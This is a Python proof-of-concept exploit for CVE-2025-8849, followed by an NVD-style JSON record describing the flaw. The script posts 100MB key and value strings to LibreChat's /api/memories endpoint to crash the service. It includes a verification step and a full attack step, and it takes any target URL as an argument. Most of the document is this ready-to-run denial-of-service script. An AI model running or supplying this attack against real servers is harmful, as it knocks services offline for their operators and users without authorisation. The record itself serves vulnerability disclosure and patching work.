CVE-2025-8849

import requests import sys import time # CVE-2025-8849 PoC - LibreChat DoS via unbounded parameter values # Target: /api/memories endpoint def exploit_cve_2025_8849(target_url): """ Exploit for CVE-2025-8849: LibreChat DoS via oversized parameters This PoC demonstrates sending oversized key/value parameters to the /api/memories endpoint to trigger a null pointer error. """ # Generate oversized parameter values (100MB+) oversized_key = "A" * (100 * 1024 * 1024) # 100MB key oversized_value = "B" * (100 * 1024 * 1024) # 100MB value endpoint = f"{target_url.rstrip('/')}/api/memories" headers = { "Content-Type": "application/json" } payload = { "key": oversized_key, "value": oversized_value } print(f"[*] Targeting: {endpoint}") print(f"[*] Sending oversized parameters (100MB+ each)...") try: response = requests.post(endpoint, json=payload, headers=headers, timeout=60) print(f"[*] Response Status: {response.status_code}") print(f"[*] Response: {response.text[:500]}") if response.status_code >= 500: print("[+] DoS condition likely triggered!") return True else: print("[-] Request completed but DoS not confirmed") return False except requests.exceptions.RequestException as e: print(f"[+] Request failed (possibly due to DoS): {e}") return True def verify_vulnerability(target_url): """ Verify the vulnerability exists by checking version and endpoint availability """ endpoint = f"{target_url.rstrip('/')}/api/memories" # Test with moderately large values first test_payload = { "key": "X" * (10 * 1024 * 1024), # 10MB "value": "Y" * (10 * 1024 * 1024) # 10MB } print(f"[*] Verifying vulnerability at {endpoint}") print(f"[*] Testing with 10MB parameters...") try: response = requests.post(endpoint, json=test_payload, timeout=30) print(f"[*] Status: {response.status_code}") # Check if the endpoint accepts the request if response.status_code in [200, 201, 400, 413, 500]: print("[+] Endpoint is reachable and accepts large parameters") print("[+] Vulnerability likely present") return True except Exception as e: print(f"[+] Error occurred: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve_2025_8849_poc.py <target_url>") print("Example: python cve_2025_8849_poc.py http://localhost:3080") sys.exit(1) target = sys.argv[1] print("=" * 60) print("CVE-2025-8849 PoC - LibreChat /api/memories DoS") print("=" * 60) if verify_vulnerability(target): print("\n[*] Attempting full exploit...") exploit_cve_2025_8849(target) else: print("[-] Vulnerability verification failed")

{"cve": {"id": "CVE-2025-8849", "sourceIdentifier": "[email protected]", "published": "2025-10-31T00:15:37.480", "lastModified": "2025-11-10T17:14:43.587", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "LibreChat version 0.7.9 is vulnerable to a Denial of Service (DoS) attack due to unbounded parameter values in the `/api/memories` endpoint. The `key` and `value` parameters accept arbitrarily large inputs without proper validation, leading to a null pointer error in the Rust-based backend when excessively large values are submitted. This results in the inability to create new memories, impacting the stability of the service."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}], "cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-400"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:librechat:librechat:0.7.9:-:*:*:*:*:*:*", "matchCriteriaId": "74A99A2E-023B-4C39-9696-61DA01C9284E"}]}]}], "references": [{"url": "https://github.com/danny-avila/librechat/commit/edf33bedcbb08c33e59df76f06454ed7efd896f9", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://huntr.com/bounties/e9d9404c-cd19-4226-a580-9cba14b7d7d6", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Third Party Advisory"]}]}}